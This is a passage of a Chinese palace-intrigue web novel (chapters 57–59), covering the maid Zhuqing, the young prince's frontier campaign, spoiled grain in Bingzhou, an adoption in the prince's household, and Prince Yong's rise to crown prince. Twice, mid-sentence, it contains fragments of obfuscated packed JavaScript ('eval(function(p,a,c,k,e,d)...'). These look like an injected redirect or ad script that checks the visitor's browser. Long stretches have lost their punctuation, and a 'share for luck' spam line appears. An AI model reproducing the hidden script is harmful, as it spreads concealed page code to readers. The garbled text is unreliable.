竹清与两位妈妈坐马车,琮哥儿骑马,他独自坐一匹马,自七八岁,他就由师傅教导马术,很是有些成效。别看他人小,但是骑起高头大马的气势并不输于旁边的士兵。 * 出了盛京城,在副将的提议下,琮哥儿上了马车。此行不同于往日出行,部队以极快的速度行军,不消几日,行程就过半了。 这一切都在琮哥儿的预料当中,在京城的时候他之所以要骑马,一是鼓舞士气,教旁人不能看轻他,二是,京城的路平坦,骑一段不碍事。 但是这会儿,哪怕坐在马车里都能感受到抖动,这样的路若是骑马,臀部都不用要了,他才不会那麽傻。 “修路的成本太大,若是能有便利的法子就好了,从盛京城延伸到各州府,这样消息更易传递,百姓们也不用一辈子困于一个地方。”琮哥儿的眼神从漠州城防图上移开,抖得他看不进去。 竹清停顿了许久,才慢慢悠悠地说道:“或许日后会有一种东西能用于铺路,本来是软的,风干之后坚硬,能使马车马儿在上面如履平地。” 琮哥儿看向竹清,略有些好奇地问道:“竹清姐姐怎知?是猜想麽?” “哥儿是知道的,奴婢也唯有幻想,不然从何得知?”竹清言笑晏晏,说道:“天下恁大,或许有许多东西都是咱们不曾发现的,一旦发现并且利用,那就是有益于国家大事的宝藏。” 她从之前伴读的事情琢磨出来,琮哥儿貌似还挺信任她的,既如此,那她何不帮着他一点? 说到底,如果琮哥儿登基,她占着从小伺候的情分,总会有几分不一样的。 “哥儿若是有机会,不若广开民智,黎民百姓自有他们的生存之道,说不得他们有甚好东西,只不过无法传与我们。或者他们制作出来了,用途单一,咱们也可以另作他用。”竹清说。 琮哥儿若有所思,他看向了外头的副将,低声喃喃自语,“提升百姓的地位,再加上武将们的拥护,就能与世家文 官们抗衡……” 世家文官太根深蒂固了,他们在大文的朝堂上居然占了过半数的官员,圣上不想打破这个平衡,但是琮哥儿却不一样,他只觉得这些世家碍眼睛。 “可惜我没有封地。”琮哥儿叹气,大文开国那会儿还是会封皇子皇孙们封地的,后头引起动荡,这才不兴了。 如果他有封地,那很多事情就能在封地上尝试,以一带全,慢慢覆盖整个国家。 “哥儿不急,这些事情咱们可以缓着做,您应该先看着眼前的战事。”竹清提醒,琮哥儿不必去到漠州,他们此行会在漠州旁边的并州停下。琮哥儿也不必去到前线,他会与雍王去军营走一走,雍王与两位副将以及一些将领商议作战的计划,再由将军们领兵作战,这就是圣上为雍王与琮哥儿预想的立功之路。 做做样子就行了,又不是亲自打仗。 琮哥儿此行,是去长见识的。 一路上急行,他们于十天后之后到达了并州,并州知州早已经守在城门,看见了旌旗,赶紧跪下行礼。 竹清扶着琮哥儿下了马车,雍王亲手扶起了并州知州,并且和善地说道:“大人请起,有劳大人带路。” “王爷请。”并州知州可不敢应了,依旧诚惶诚恐的,生怕这位带着尚方宝剑来的雍王看他不顺眼,给陛下上折子。 “漠州情况如何?”雍王边走边问,战事之变异常迅速,尽管他知道许多了,这会儿还是谨慎地问了。 并州知州脸色一肃,回答道:“回禀王爷,今日一早,漠州知州被他们杀死,头颅割下挂在城头,还有城墙上出现的,并不只我们大文朝的士兵,还有胡族的人。” 胡族,以游牧过日子,他们马上功夫一流,时常骚扰边境,抢了就跑,这就是为何以漠州为首的边关的百姓个个一身功夫。 弱的人,在边关活不下去的。 “带我去能看见漠州城门的地方,就西城门罢。”雍王吩咐并州知州,他看过并州的城防图,自然知道哪里能看见漠州城门。 来的时候他就已经想好了,哪怕装模作样,也要让将军士兵们觉得他可堪托付。 随行的副将有一个是威德大将军,他虽然名声有瑕疵,但是领兵打仗的本事却是旁人不可替代的。 威德 大将军劝雍王,“王爷,您贸然出现在西城门,可能教敌人看见,会有危险的。 要是雍王与小皇孙出了甚麽事,他们这些人只怕是几个脑袋都不够砍的,故而这会儿,威德大将军只想让雍王打消这个念头。 另外一位副将叫归义大将军,他听了威德大将军的话,颇觉有道理,也跟着劝道:“是啊王爷,您不出去,先藏着自个,教他们摸不定,之后打他们一个措手不及,如此不是更好? 何必白白暴露呢? 他们计划已经完善,就等着雍王与小皇孙到并州,然后开战。 都能在京城刺杀宣王了,雍王可不相信这些人不知道他到并州了,与其藏着掖着,不若给予他们一些震慑。 很快,他们到了西城门,登高望下,对面的漠州大城门上除了士兵们,还有一颗悬挂着的头颅,头颅下方的沙地上暗湿了一块,那是血迹滴落晕染开的。 雍王拿下背后别着的弓,右手朝上摊开,归义大将军便迅速递给他一支箭矢,雍王拿了,只短短几息,他就射出一根箭矢,箭矢呼啸而去,射过绳子,笔直地插在漠州大城门的墙上。 那颗头颅在沙地上滚了几圈,雍王挑眉,“死有余辜。漠州知州难道对底下的动乱一无所知麽? 敢扰乱统治的,死十次都不够! 一旁的归义大将军与威德大将军满眼欣赏,夸赞道:“王爷好射艺。 直到这个时候,他们才对雍王有了一点改观,雍王也不是一无是处嘛。 雍王见达到了预期的效果,心情很好。 并州知州冷汗直流,这个雍王竟然这般狠辣,还说漠州知州死有余辜,真不像一个富贵堆里养出来的皇子。 雍王做完这一切,转身离开了,对面射过来的箭矢,连他的袖口都没有摸到,赤裸裸的蔑视! 这一趟过后,他们回了并州知州准备的府邸,竹清忙进忙出,指挥人收拾行李,又教人置办一桌子宴席。 说是宴席,但是因着并州物饶不丰,且雍王与琮哥儿并不想过于高调,所以桌上的菜式不过七八道。 能参与宴席的,有并州的一些高官,跟着雍王出征的几个将领,以及原本就镇守边关的将军。 “我代父皇到并州,这杯酒我敬各位。雍王说 看他举起酒杯其他人也站起来跟着举杯。 琮哥儿也在他喝了掺水的酒其他人可是实打实地喝酿出来的酒喝罢就开始用饭。琮哥儿边吃边看并州的几个官员待一一观察他们过后就见雍王开始询问并州的诸多事宜。 如此待月上柳梢头这场众人俱都心思各异的宴席才散了竹清端来醒酒茶说道:“哥儿喝点茶汤醒一醒虽然那酒掺了大部分的水到底还是伤身。” “知道了。”琮哥儿拿过碗慢条斯理地喝了也不教竹清伺候他待喝到一半他说道:“竹清姐姐也唯有你敢这般劝我。” 在他身边的人奶妈妈不是真心待他贴身小厮连与他大声说话都不敢。 “哥儿何必伤怀?明日就该与将军们去军营了罢?”竹清轻声问按规矩她应该唤琮哥儿一声殿下但是为了亲近她还是唤哥儿的。 “是我还没见过边关军营明日要好好看看。竹清姐姐明日你就呆在这儿我会留几个人保护你的。” “好。”竹清应了军营里都是男子她去的确不太方便。 天不亮竹清目送琮哥儿离去。 竹清到了并州没有不适毕竟她作管家恁久有时也会受王妃的命令到外地去查一些账本常在外边行走她在并州游刃有余。 并州也有雍王妃的产业是开烤肉的铺子竹清并不闲着去了这个并州第二大的烤肉铺子暗地查看。 “客官这边请。”店小二出门迎客极其热情漠州出事并州也受了牵连那些有银钱的人家都计划着搬走剩下的人 “来几道招牌菜另外去那边帮我打上一壶油茶来。”竹清吩咐了店小二又寻了一个靠窗边的位置坐下。 店小二按照竹清说的做了竹清慢慢吃着东西喝着酥油茶眼神扫了底下清净的街道行人皆神色匆匆手上拿着大包小包的东西。 他们出来的方向是粮店。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“理不理的我这样的平头老百姓也说不上来就是感觉他们下的命令一时一个样有时教咱们把种的小麦拔了种其他东西收成麽有一点提了不多。有时又说要征集壮丁去修路。看着好罢也不算坏的但是对咱们用处属实是不大。”店小二挠挠头不大懂官员们下的命令有甚大用处。 “知道了有客人你去罢。”竹清指了指门口那儿有两个粗犷的壮汉。 竹清一个人坐着顺带想一想他们会在并州停留多久?若是太久的话不知道粮仓的粮食够不够吃? 并州地势低三面环山剩下的一面对着漠州在这样的地势下若是山路被挡口粮不够并州里边的人会被活活拖死。 琮哥儿的担忧她也知道反军谋划了十来年绝对不可能只在漠州活动旁的州府定有他们的人这样的情况下她不得不多思考 。 竹清这张脸并州的官员们俱都认得所以当她出现在粮仓附近的时候管粮仓的官员们一个个马不停蹄地赶过来客气又不解地问道:“竹清姑娘不知您突然过来是甚麽事?” “殿下教我到处巡查一下你们也知道反军把持漠州并州里面难保不会有心思浮动的人我怕他们危及民生根本故而到此处瞧瞧。”竹清这话有些不客气来的官员们神情有些复杂。 并州不安全归根究底是他们这些作官员们不作为亦或是能力不足这个小娘子直白地说出来教他们脸上热腾腾的。 忒不好意思了! “姑娘不必如此担心两处粮仓都是派重兵把守着的绝对是一只老鼠都跑不进来的。”某个官员信誓旦旦地说道竹清却不置可否外头的人进不来难保里面的人不会有坏心思。 谁知道呢? 粮仓有多重要不消说里三层外三层守护着旁的人没有命令还不能随意进来。但是竹清不一样她是随着小殿下来的也有小殿下亲口承认让她坐镇后方。 她自然有资格进去瞧。 粮仓四处遮挡严实唯有几个通风的小口子依稀透了一点光进来竹清鼻子灵敏一进去就嗅到了一股青草的味道。 “你们有没有闻到甚麽?”竹清疑惑她眉头拧起来 一切看上去很正常。 “竹清姑娘我没有觉得哪里不对劲很正常呀您可能是刚来并州水土不服以致情绪不稳定您左右瞧瞧绝对没有问题的。”官员就是觉得竹清过于敏感了所以才在这里指手画脚的。 他们都在并州两三年了这儿从来没有出过事难不成现在突然就会惹出祸端麽? 竹清在粮仓内四处走动这些小麦谷子被分成几堆因为堆得太满运送不便利。绕过第五堆谷子青青绿绿的颜色便倏然冒出来——谷子发芽了。 “这是甚麽?”竹清偏头指着发芽的谷子问谷子发芽了就废了并州不同于江南水乡这里的谷子发芽了也种植不了等同于废了。 “这这这怎会如此?”官员们面面相觑万万想不到在粮仓最后边的位置谷子悄悄发芽。若不是 今日竹清坚持进来看,再过上几天,也许这一片谷子都不能要了。 “像如此热的天,粮仓附近都不会出现水的,谷子何以发芽了? “我还想问你们呢,刚才还向我保证粮食一定没有问题,这叫没有问题麽?训斥了他们之后,竹清又教人开了旁边的几个粮仓一一查看。这下官员们可不会阻止了,并且比竹清还要急切。 要是粮食出了问题,他们就是有十个脑袋也不够砍得,若是因此连累到了小殿下,乖乖,那他们的九族…… 这麽一想,官员们火烧火燎一般去忙活了,竹清带来的人也加进去一起探看。 最后统计出来,一共有一百多斤的谷子和两百多斤的小麦发了芽,所幸暂且不算多,还能挽救。 竹清提议,“各位大人,我觉得粮仓此地的监管势必要加重人手,还有出入的,至少都得几个人同时进出,确保监督实施到位。 “是了是了,我们等下回去就商议此事,绝不会再让类似的事情发生。官员们没有酿成大祸,一个个擦着汗水,一副劫后余生的表情。 还好,三百多斤粮食不至于动摇并州,并州还是安全的。 竹清问他们,“我记得并州的粮食大多是外面粮商运过来卖的,现在城内粮商还有多少是在的? “是买的,并州的田地都是下等田,一年到头所产的粮食连百姓自个的肚子都填不饱,更何况买卖?我们并州主要的粮食都是从几个粮商那里买的,根据我们的信儿,现在唯有两个粮商是还没有走的,一个是小粮商,住在客栈里。一个是大粮商,住在东边的庭院里。 那官员说罢,听见竹清又问他们,“他们还有粮食要买卖麽? “对,他们那一批本是想着卖去漠州的,奈何在前一天漠州发生动乱,他们便停留在了并州,至今也不曾走。若不是咱们并州今年的份额采购够了,那些粮食我们也想买下来。 竹清点点头,并不言语了。 天已经黑了,琮哥儿还没有回来,下半夜,喧嚷声吵醒了微微眯眼的竹清,她依旧穿着一身劲装,听到了动静立即开门出门。 “怎的了? “竹清姑娘,是王爷,王爷与几位将军发动了突袭,此战打开了漠州的城门,反军里的几位主事 第 58 章 太子,皇太孙(修) “殿下与王爷需要名声。竹清缓缓说道:“这正是一个机会。 “方才你说并州的粮价上涨,我身上没有恁多银钱。琮哥儿为难,他自然知道竹清说的有道理,奈何出来行军打仗,身上所带的黄白之物不多,到这时才教他为难起来。 并州城有钱庄,可已经关闭了。 竹清笑了笑,拿出自己特意准备的银票,说道:“哥儿,我这里有三千两,是这几年的积蓄,若是哥儿不够银钱,我借与你。 “借?琮哥儿觉得这个字眼很有趣,“竹清姐姐,你应该是唯一一个敢借钱给我的人。他是皇子凤孙,生下来就尊贵无比,哪个敢与他借钱? 巴不得送给他,以作示好。 “哥儿不是那种不讲道理的人,也作不出那种强盗之行。说着,竹清垂眸,可怜巴巴地说道:“我只是一个奴婢,哥儿难道还会抢我的积蓄麽? “自然不会,那就当是我借你的,回到京城,连本带利还你三千一百两。琮哥儿说,他不差钱,从小收的赏赐、礼物,几个库房都堆不下。 更何况,他背后还有圣上。 竹清从来不把琮哥儿当作小孩子,就像现在,他们两个是正正经经地交易,琮哥儿也没有觉得朝一个奴婢借钱有甚麽不对,大抵是因为,他自小就由竹清带大,与竹清颇为亲近。 做完这件事,竹清心满意足地笑了笑,如果不出意外,琮哥儿日后会当太子,会作帝王,提前朝未来君主卖个好,以后的小日子就不会差了。 “饶是如此,也还差一两千两罢?琮哥儿说,他蓦地看向竹清,问道:“竹清姐姐,可是我想的那样? “正是。并州的将士们吃苦,大商人们何不出份力,替陛下分忧,为将士们退让一点自个的利益?竹清循循善诱,说道:“粮价不也是他们定的?商人重利益,殿下大可用这一点去压他们,只说让他们低价卖粮,过后与他们一副牌匾,赞他们几句,这些需要声誉的大商人只怕恨不得白送粮食给咱们。 商人们不差钱,但是差名声。 琮哥儿深深地看了竹清一眼,心说,你好黑心,巧了,他也是。 此事琮哥儿交由了竹清来办,不消一日,竹清办妥了,军队从上到下,一日三餐俱都是大米 饭。陛下虽然让人运了粮草过后,可也仅仅是让人吃饱,现在小殿下开恩,教他们吃好,属实是不可多见。 修整时,他们会夸赞小殿下,觉得他仁厚,还有人希望小殿下永远呆在并州,让他们享受这等好日子哩! 半夜,天上忽然下起了大雨,环绕并州的两座山崩了,山崩地裂,教百姓们俱都跪在地上,祈求上苍息怒。 事情往最坏的方向发展了,两条通往其他州府的道路均被堵住,并州一时之间陷入了孤立无援的状态。 甚至仅仅过了半天,翌日响午的时候,并州城就隐隐约约有流言,说代皇帝出征的王爷与小殿下是个不详之人,他们到并州来,是带来灾祸的。 几位将领雷厉风行,把传话的人都抓起来,狠狠打了一通,杀鸡儆猴,饶是如此,雍王与琮哥儿身上还是有了麻烦。 名声一旦坏了,再想补救就会变得无比艰难。更何况,他们现在在打仗。 雍王像个没事人一样,一通法子下去,揪出来几个藏在并州里的探子,他让归义大将军射杀了他们,教人把他们丢去乱葬岗。 “玷污本王的名声,其罪当诛。”雍王来了并州之后,身上沉稳了一些,也更加心狠了。 琮哥儿与雍王一唱一和,他让人与百姓们发放米粥,修缮因暴雨而倒塌的房屋,一连几天都是如此,彻底安抚住了焦躁不安的百姓们。也亏得他向竹清借了银钱买了粮,不然还真是有些难以推行。 然而让他们两个名声彻底扭转的事,是漠州叛乱被平定之后。并州与漠州相隔得近,通婚的人不在少数。而大破漠州的这一天,威德大将军与归义大将军亲手射杀了领头的将领以及胡族的祭司。 雍王跟着将军们去搜查当年那个王爷的儿子,琮哥儿则骑马来到了漠州军营,这里的沙地上看押着许多官兵。 按理说,漠州上下的官兵皆属于参与了谋反,按律法当诛杀,但是琮哥儿让人把他们看押起来,淡声说道:“本殿下知道你们当中有些人是无辜的,待查清楚,本殿下会向陛下求情,饶你们一命。” 他的一句话,教并州与漠州无数百姓对他感激涕零。 陛下筹谋得当,此次平乱除了山崩之事,其余的皆顺利,几位将领似乎也对雍王与琮哥儿发自内心地恭敬。 胜利的消息快马加鞭送回京城,不日,他们也即将启程返回。 琮哥儿骑着矮马,问威德大将军与归义大将军,“两位将军可否教我马术与兵法? 纸上得来终觉浅,他虽然饱读兵书,但是在实际运用时,相较于这些久经沙场的将军,他还是差了不少。 教导他马术的师傅也不差,但是终究差了一截儿。 “若陛下准允,我与威德大将军自然乐意教殿下。归义大将军卖了一个好,说道:“殿下出众又仁厚,能教导殿下,是我三生有幸。 “威德大将军呢? 他心里对于威德大将军可不算信任,这个人与他的祁王叔勾勾搭搭,虽然表面上放荡不羁,并不参与争权夺利,但是内里难保不会有甚麽想法,他还是提防威德大将军的。 “我自然与归义大将军一般的想法,能近身服侍殿下,荣幸之至。威德大将军说罢就继续吃花生,琮哥儿扫了他一眼,又起了另外一个话头。 * 竹清与琮哥儿很快就返程了,他们这一行收获满满,譬如琮哥儿,明白了粮草的调动以及行军布阵。 与他们一同返京的,是反军主事的人以及那个当年被调换的谋反的王爷的儿子。 他二十八岁,因着长年累月在边关长大,瞧着就比旁人多几分沧桑与风霜。囚车里很狭窄,他只能弓着背部歪着头,眼里的不甘心一直不曾消退。 享受过权力的滋味,一朝跌落在地,落差之大可想而知。 五月底,他们入了盛京城。 陛下教两位王爷在城门处恭迎大军,故而琮哥儿一进城门,就下马车与他们行礼,宣王神色复杂地看着雍王与琮哥儿,这一行让雍王脱胎换骨,琮哥儿变得更加沉稳了,如同一块上好的璞玉,被打磨得更加光滑,熠熠生辉。 教人一眼便不能忘。 雍王与琮哥儿要进宫面圣,竹清便带着王府的人先回了,正院里,雍王妃拿着兵书在看,只是那书页已经长久没有翻过了,她似乎只是在发呆。 “王妃,王爷与哥儿已经往宫里头去了,竹清姐姐带着不近身服侍哥儿的下人回府了,竹清姐姐此刻 正往正院里来。”小丫头禀报,一下子就让雍王妃回过神来。 “快让她进来,我等不及要见她了。”雍王妃急忙吩咐,竹清进来先是行礼,随后就是事无巨细地与雍王妃一一说了。 皇宫,勤政殿中,唯有陛下与雍王、琮哥儿三人,陛下见了恍若两人的雍王与琮哥儿,眼里满是欣慰,他亲自下来,拍了拍雍王的肩膀,说道:“不错,长大了,懂事了。” “琮哥儿也变了不少,可惜皇祖父已经老了。”陛下感慨,他这两年身体愈发不好了,有时出门总觉得身上漏风似的,哪怕是现在这样的艳阳天,他还是要披着披风。 “皇祖父不老,琮哥儿还要陪着皇祖父很久很久呢。”琮哥儿安慰他。 “雍王,你觉得作一个帝王需要甚麽?”陛下却不讲方才的话茬儿了,而是直截了当地问雍王。 这些年雍王也不是毫无长进,起码在他有心培养之后,雍王与其他两个王爷便不一样了,文武百官待他也尊敬很多。 只是乍一听闻陛下这般问他,雍王差点没有沉住气,这可是帝位,享无边江山、受万人敬仰,无数个日日夜夜,他都曾幻想过,若有朝一日他能摸到这个位子,那该是何等的意气风发? 如今,这个机会来了。 早就有所准备的雍王回答得滴水不漏。 勤政殿外,大太监只是隐隐约约听见了这一番话,后边的,他低着个头不敢听,没有人知道雍王与陛下说了甚麽,再之后,雍王就与琮哥儿退下,陛下又召见了将领们。 * 过了一日,雍王府。 圣上开恩,教雍王歇息半个月,先不必上朝了。 祁王与祁王妃亲自登门拜访,与雍王、雍王妃商议,想要过继他们的一个孩子。 祁王妃诚心诚意,说道:“雍王与雍王妃识大体、知礼聪慧,你们养出来的哥儿定是不差的,故而我们想挑一个过继,也好教咱们祁王府后继有人。” 从雍王府的庶子变成祁王府的嫡子,她相信会有侍妾心动的,她的要求也不高,就选一个孝顺听话的孩子养着就好了,教她膝下不寂寞。 “前几日的聚会想必祁王妃已经见过我们府上的孩子们了,你中意哪一个?”雍王妃问她,就像祁王已经私底下与雍王有商有量 那般她与祁王妃也会暗中商议这件事。 如今祁王与祁王妃登门 “铮哥儿与全哥儿都是不差的我想着哪个都好。”祁王妃说在她旁边祁王也附和了一句“全哥儿是长子铮哥儿有礼俱都是好的。如若我能过继其中一个我必将许他我能给予的一切日后连王妃的嫁妆也一并都是他的。” 说起来他们还是有一些纠结的全哥儿是雍王府的长子虽然资质稍显平庸但是到底受雍王与雍王妃重视。但是铮哥儿与他相反他是崔侍妾生的打小被崔侍妾教导要守礼仪所以那日一看祁王妃就觉得铮哥儿机灵懂事。 一时间两个人都很为难。 雍王妃心念一动想把全哥儿过继出去的心思达到了顶峰全哥儿一走她的孩子将会是名正言顺的嫡长子那就不仅仅是嫡子了多体面。 扪心自问她这些年都没有亏待全哥儿一应衣食住行都只比琮哥儿差一点如今许他这样一份前程料想他的生母李侍妾也会答应的。 “过继只能一个你们看看选哪一个选定了咱们就去父皇跟前禀报。”雍王说总不能一下子过继两个罢? “那便是全哥儿罢。”祁王说全哥儿已经有十岁多了已经立住了到底比小五岁的铮哥儿要好。 小孩子最怕养不大。 “行罢此事就这般定了。”雍王颔首不管李侍妾答不答应全哥儿定然是要过继出去了。 第二日雍王在正院他与雍王妃一道接受了后院女子和孩子们的请安雍王坐在上首缓缓把过继的事情说出来李侍妾之前没有听见一点风声如今乍然间听见了不由得猛然抬起头脸上满是不情愿。 自从生下全哥儿王爷就不曾在她的院里过夜了如今她年纪愈发大了比不得新进女子那般鲜嫩就更加不可能得王爷的喜爱也就是说全哥儿是她唯一一个孩子。 哪怕是作人家的嫡子可是一旦给出去日后就与她没有任何干系了。 “王爷妾身……”她不自觉地哽咽起来心里想着全哥儿。雍王妃给全哥儿找了新的师傅故而全哥儿方才请安就退下去上学了也亏得是出去了不然他会不会哭还很难说。 “如何?你不愿意?雍王挑眉,语气里满是冰凉,他可不会给李侍妾面子,见她不说话,就直直地训斥道:“你看看你这个样子,全哥儿在我们王府是庶子,可是过继给祁王府,那就是唯一一个嫡子,身份尊贵不说,日后祁王府的一切都是他的,你有何不满? “妾身…… 若是全哥儿去了祁王府,那就不同了。 可是,可是她是一个母亲啊! 雍王妃给雍王端了茶,说道:“王爷喝口茶润润嗓子。说罢,她看向李侍妾,劝道:“我知你不舍全哥儿,可是你要想想,在咱们这儿全哥儿的待遇,在祁王府,全哥儿又是甚麽样的待遇。祁王妃说了,日后祁王府的一切都是全哥儿的,这是旁人求也求不来的福气。 有的侍妾点点头,特别是生了岚姐儿的康侍妾与生了沛哥儿的苗侍妾,她们两个就觉得李侍妾不识好歹。 “行了,这几日将全哥儿挪出来,单独住一个院子,待事情妥当了,就教他出府。雍王不欲再听李侍妾哭哭啼啼的。 待请安散了,两位侧妃先带人离了,苗侍妾凑在李侍妾旁边,言语中颇为艳羡,倒教李侍妾愈发难受,与她好一顿发火。 雍王妃躺在摇椅上,旁边的竹清口齿清晰地汇报着底下的事宜,她忽的捂住了额头,说道:“竹清,我好似变坏了。 不是心狠,而是纯粹的坏。 “从前我只会有事说事,侍妾们犯了错,我也只会罚他们,并不牵连孩子。可是自从有了琮哥儿,我的心就偏了。所以她为了让琮哥儿当嫡长子,就极力促进全哥儿过继。 包括前几日的聚会,她还教全哥儿背诗词歌赋,李侍妾那个时候还来感谢她,说她特意许全哥儿出风头。 大抵是慈母之心,教雍王妃整个人多了几分犹豫,比起以往的果决,如今的她难得有几分善良。 竹清安慰她,“王妃何必这样想?说起来,李侍妾能进王府并且顺利生下全哥儿,那还是王妃的功劳,若王妃没有顶着王爷的不满迎李侍妾进府,只怕她在外头,还生不下 全哥儿呢!” 作为一个丫鬟,开解主子是应该的,所以竹清没有停,继续说道:“且奴婢说句逾越的,全哥儿在咱们府上能有多好的待遇,他是个庶子,请的师傅也不能请最好的,每月的分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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预料到陛下会突然说到储君之事。 然而陛下说完这句话之后便不言语了而是挥挥手示意早朝结束被吊着的人心里七上八下。 下朝后大家只看见了几道圣旨从勤政殿内被捧出来。 第一道册封几位老臣子为太子少师、少傅、少保。 第二道许威德大将军与归义大将军教导雍王府嫡子马术以及兵法不日入宫。 第三道晋封雍王妃的母亲为一品诰命夫人以示嘉奖。 因着陛下没有立太子教导太子的少师、少傅与少保都是一个虚衔可如今陛下定了少师等人是不是就意味着太子也马上要立了? 更何况接下来的两道圣旨皆与雍王府有关一时间雍王府的门槛都要被踏破了。 * 宋管事与竹清说道:“接下来你可就有的忙了想见咱们王爷的人多了去了。” 她过几日就预备着与竹清交接正式把大管家的位子交给竹清。 “忙一些好啊不然空闲着如何对得住我领的月例银子?”竹清笑了笑又问起宋管事的身子“您现在可还疼?郎中开的药管不管用?” “还是老样子不过我横竖享受了恁多年的富贵这点子疼到底不算甚麽。”宋管事语气平和能看得出来她是真的不在乎自个的身体了。 “你去的地方当中有没有甚麽好顽的?说与我听听 待宋管事歇下后竹清这才去了前院处理各自帖子如今递到雍王府里头的帖子不只几张几乎是整个盛京城的权贵都教夫人们递来了请帖皆是邀请雍王与雍王妃上门做客的。 竹清挑出了一些请帖亲自拿给雍王妃看她说“王妃这里有几张想必是推脱不了的您看这张是高丞相的嫡出孙儿请琮哥儿去家里顽的他的孙儿是琮哥儿的伴读不大好不去。” 雍王妃接过帖子一看笑了笑“都是人精了他作琮哥儿的伴读也不是一日两日偏偏这个时候才想着请琮哥儿去顽。你说得对这张是不好不去到底高丞相正年富力强在朝堂之上的地位稳固着呢少不得与他和善一些。” 皇室与百官之间的关系就是这般,若一方不能压倒另外一方,两方便只能维持一个微妙的平衡,像雍王府如今虽然炙手可热,但是终究还没有尘埃落定,雍王还不是太子,百官们会给他面子,却不会彻彻底底臣服于他。 “等琮哥儿回来,你拿着这张帖子与他说明利害关系,教他几日后去高丞相家里庆祝他伴读的生辰。”雍王妃说,她如今也有许多事情要忙活,因着王府的喜事,那些嫁出去的姐姐妹妹、姑姑姨姨甚麽的,皆派了人往雍王府里送一车车的贺礼,还有家中两个嫂嫂,也教人送来了厚礼。 甚至姜二夫人亲自登门拜访,言语中的热络自是不必提。 三日后的早朝,陛下亲口承认了雍王,并且要立他为太子,同时,琮哥儿也被立为皇太孙,此事文武百官皆无异议。 晋封雍王妃为太子妃的圣旨送到雍王府时,竹清刚与宋管事交接完,她是大管家了,便跪在雍王妃身后,一同接了这圣旨。 大太监扶着太子妃起身,想与她卖个好,便和气说道:“太子妃不必着急,太子与皇太孙如今还在宫中聆听陛下的教导,一时半会想必是出不了宫的,您便自个捯饬捯饬,预备着进宫谢恩罢,就不必等太子与皇太孙了。” “欸。”太子妃起身,她看了竹清一眼,竹清会意,上前拿出一个份量很重的荷包,笑着塞进了大太监的手里,她说道:“请公公喝茶,劳公公走一趟。” “哟,多谢太子妃打赏,那奴家就先行告退了。”大太监不在乎这点银子,只想着让太子妃记得自个的好。事情已经办妥,他也就不再逗留了。 太子妃身后的后院女子,一个个懵了好一会儿才反应过来,瞬间,几乎每个人脸上都涌现出一股狂喜。 雍王封了太子,那她们就是伺候太子的姬妾,待太子登基,她们就是后妃了。 对于身份低微的康侍妾等人来说,这无疑是一步登天,她们做梦都想不到,自个还能有做娘娘的一天。 贺侧妃与柳侧妃更甚,她们两个是侧妃不说,而且都有哥儿,日后说不得她们能封妃甚至是贵妃,光宗耀祖! 后院众人喜气洋洋,唯独李侍妾如遭雷击,她脑子里只剩下一个念头,她的全哥儿若是没有过继出去,那他就是太子的长子,日后会是陛下的长子,身份是何其的尊贵? 如今,只是一个祁王的孩子了! 作者有话要说 有宝子问竹清自梳的剧情,没有跳过哈,略微调整时间线,现在先做东宫的管事~还是竹清姐姐,以后才是姑姑~ 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第 59 章 男/色/诱惑 太子在宫中是有住处的,东宫,雍王妃接了圣旨,他们即将从雍王府搬进宫里,住在略窄小的东宫里头。 竹清一跃从雍王府的大管家变成了东宫的管家,其中份量可想而知,如今她在外头行走,也时常有人请她喝茶吃饭,想从她这里下手,通过她见太子或者是太子妃。 这样的大喜事,自然要摆宴席庆祝,太子妃教竹清去准备,先预定好食材,他们得在雍王府宴请宾客,待到了东宫,就不便大摆宴席了。 竹清领了命,亲自出去了。 王府采买食材同样有固定的地儿,也是在皇商那里买,价格自然是不便宜的,但是胜在种类多且新鲜。 孟大商人一见竹清进来,赶忙起身相迎接,“这不是竹清姑娘麽?来来来,快快上座,你,去把我刚刚买的茂山小种拿出来,我亲自泡了茶水与竹清姑娘喝。” 曹大商人也在这里,刚与竹清见了礼,回头就埋怨孟大商人,他说,“好你个势利眼儿,我在这里你都不曾泡茶与我喝,竹清姑娘来了,你就巴巴儿地贴上去。我告诉你,我可是生气了。” 他只是开玩笑,孟大商人并不理他,泡了茶水,再与曹大商人端上一杯,他这才说道:“竹清姑娘喝茶,来,这是你的,喝了可就别再怪我了。” 见他们嘻嘻闹闹,竹清也不阻止,她喝罢茶水,拿出单子放在桌面上,说道:“喏,咱们府上即将办大宴席,太子妃嘱咐了我来置办,孟大商人你看看,这些能不能都在那日送来,若可以,我回了太子妃,好好给你记一功。” “哟,这敢情好。”孟大商人见有机会讨好太子妃,忙不迭地拿起单子一一看了,曹大商人凑在他旁边,瞧瞧有甚麽能帮得上忙的。 待仔仔细细看过了三回,再思索过,孟大商人这才回了竹清的话,“都没有问题,我用我的声誉作赌,宴席那日天不亮,一切都送到你们府上。” “如此最好了。”竹清笑了笑,正打算走,忽的曹大商人就叫住了她,“竹清姑娘,不知可不可以赏脸,明日我请你吃一顿饭。” “何事?”竹清直截了当地问,如今太子府上正是风光的时候,热火烹油般,她可不能在这个时候遭人算计,连累到了他们府上。 “也不是甚麽大事,待你们府中贵人住宫 里头去了,一应衣食住行都有宫中负责,想必也就不再需要咱们这些皇商了。”曹大商人先说明了前因,再之后就是目的,“我们认识恁久了,我想着日后不常见,所以想请你到我家吃顿饭,也没有其他人的,就我与我那不成器的儿子,还有竹清姑娘你也认识的孟大商人以及其他几个商人。” “如何?”曹大商人问道,他有些忐忑,生怕竹清不同意,这层关系就断了。 “罢了,既然不涉及其他的,我就应了你,不过我在这里,还是要嘱咐你一句,明日我不想见到我不认识的人,你可懂?”竹清淡淡地看了曹大商人一眼,待曹大商人连声说不会,她这才在两人的相送下出了门。 “诶呦喂,她说话的时候,愈发厉害了。那眼神看得我心里突突突的,比起她刚做管事的时候,她现在变得更加难以相处了。”曹大商人擦了擦额头上的汗水,他觉得竹清长开了,脸上时常带着笑,但是眼神变得难以捉摸,有时候她似乎是在笑,却更像是不屑的冷笑。 